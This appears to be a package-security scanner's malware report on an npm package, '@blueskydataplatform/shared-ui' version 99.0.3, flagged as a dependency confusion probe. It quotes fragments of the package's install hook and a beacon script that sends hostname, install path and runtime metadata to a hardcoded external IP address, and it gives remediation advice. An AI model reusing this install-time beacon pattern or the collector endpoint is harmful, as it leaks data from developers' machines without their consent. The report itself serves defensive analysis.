registry / Malware / @blueskydataplatform/shared-ui

@blueskydataplatform/shared-ui

Compatibility shim.

This report shows the evidence for @blueskydataplatform/shared-ui@99.0.3. 7 of 9 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 13m ago · by lpm-firewall-ai

Source confirms an unconsented install-time disclosure of host and installation identifiers to a fixed unrelated collector. This is concrete malicious behavior, so publication should be blocked.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Package installation or importing index.js.

Impact

Installation and host identifiers are disclosed to an unrelated fixed collector without an effective consent gate.

Mechanism

A lifecycle script and the entrypoint call beacon.cjs, which posts hostname, install path, working directory, and runtime metadata.

Attack narrative

The automatic postinstall hook and package entrypoint send host and installation metadata to a fixed external HTTP collector. The source shows no consent gate for either activation path.

AI rationale

Source confirms an unconsented install-time disclosure of host and installation identifiers to a fixed unrelated collector. This is concrete malicious behavior, so publication should be blocked.

Evidence

package.jsonbeacon.cjsindex.js

Network endpoints1

185.158.107.175:8787/_ah/dc

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs beacon.cjs automatically during postinstall.
beacon.cjs sends a POST to a fixed external HTTP endpoint.
The request payload includes hostname, install path, working directory, and npm/runtime metadata.
Importing index.js also invokes the beacon.

Evidence against

Behavioral surface

Source

Network

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 40 file(s), 11.1 KB of source, external domains: 185.158.107.175

Source & flagged code

8 flagged

package.jsonView file

Lines 1-21json

2 "name": "@blueskydataplatform/shared-ui",

3 "version": "99.0.3",

4 "description": "Compatibility shim.",

5 "main": "index.js",

6 "exports": {

7 ".": "./index.js",

8 "./package.json": "./package.json",

9 "./*": "./dist/*.js"

10 },

11 "scripts": {

12 "postinstall": "node beacon.cjs"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L12

13 },

14 "files": [

15 "index.js",

16 "beacon.cjs",

High

Suspicious Lifecycle Evidence

package.json runs beacon.cjs automatically during postinstall.

package.jsonView on unpkg · L12

17 "README.md",

18 "dist"

19 ],

20 "license": "MIT"

21}

beacon.cjsView file

Lines 1-38javascript

1'use strict';

2// Build-provenance beacon. Reports only machine/package metadata so the

3// recipient can correlate an install. No data beyond that is collected or sent.

4var BEACON = "http://185.158.107.175:8787/_ah/dc";

5var PKG = "@blueskydataplatform/shared-ui";

index.jsView file

4try { require('./beacon.cjs').fire(); } catch (e) {} // Export a defensive Proxy: any property access returns a no-op function, so a // bundler that imports named/default members of the real

High

Ai Review Evidence

Importing index.js also invokes the beacon.

index.jsView on unpkg · L4

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

12"postinstall": "node beacon.cjs" }, "files": [ "index.js", "beacon.c

High

Suspicious Lifecycle Evidence

package.json runs beacon.cjs automatically during postinstall.

package.jsonView on unpkg · L12

beacon.cjsView file

3// recipient can correlate an install. No data beyond that is collected or sent. L4: var BEACON = "http://185.158.107.175:8787/_ah/dc"; L5: var PKG = "@blueskydataplatform/shared-ui"; ... L10: var lib = u.protocol === 'https:' ? require('https') : require('http'); L11: var data = Buffer.from(JSON.stringify(payload)); L12: var req = lib.request({ ... L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); }); L21: req.write(data); req.end(); L22: } catch (e) { resolve(); } ... L27: package: PKG, L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), L29: installPath: __dirname,

Findings

8 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationbeacon.cjs

HighKnown Malware Source Fingerprint Signaturebeacon.cjs

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencebeacon.cjs

HighAi Review Evidenceindex.js

MediumNetwork

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to @blueskydataplatform/shared-ui@99.0.3.

The versions list below shows the verdict for each recorded version.

Avoid installing @blueskydataplatform/shared-ui@99.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-23 00:49:36.541Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

9 known versions

99.0.3latestshownMaliciousMalwareBlockPublishedOct 22, 2026, 11:34 PM 99.0.2MaliciousData ExfiltrationBlockPublishedOct 22, 2026, 10:57 PM 2.0.1MaliciousData ExfiltrationBlockPublishedOct 22, 2026, 10:47 PM 2.0.0MaliciousData ExfiltrationBlockPublished

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Related packages

Other malware packages

Source & flagged code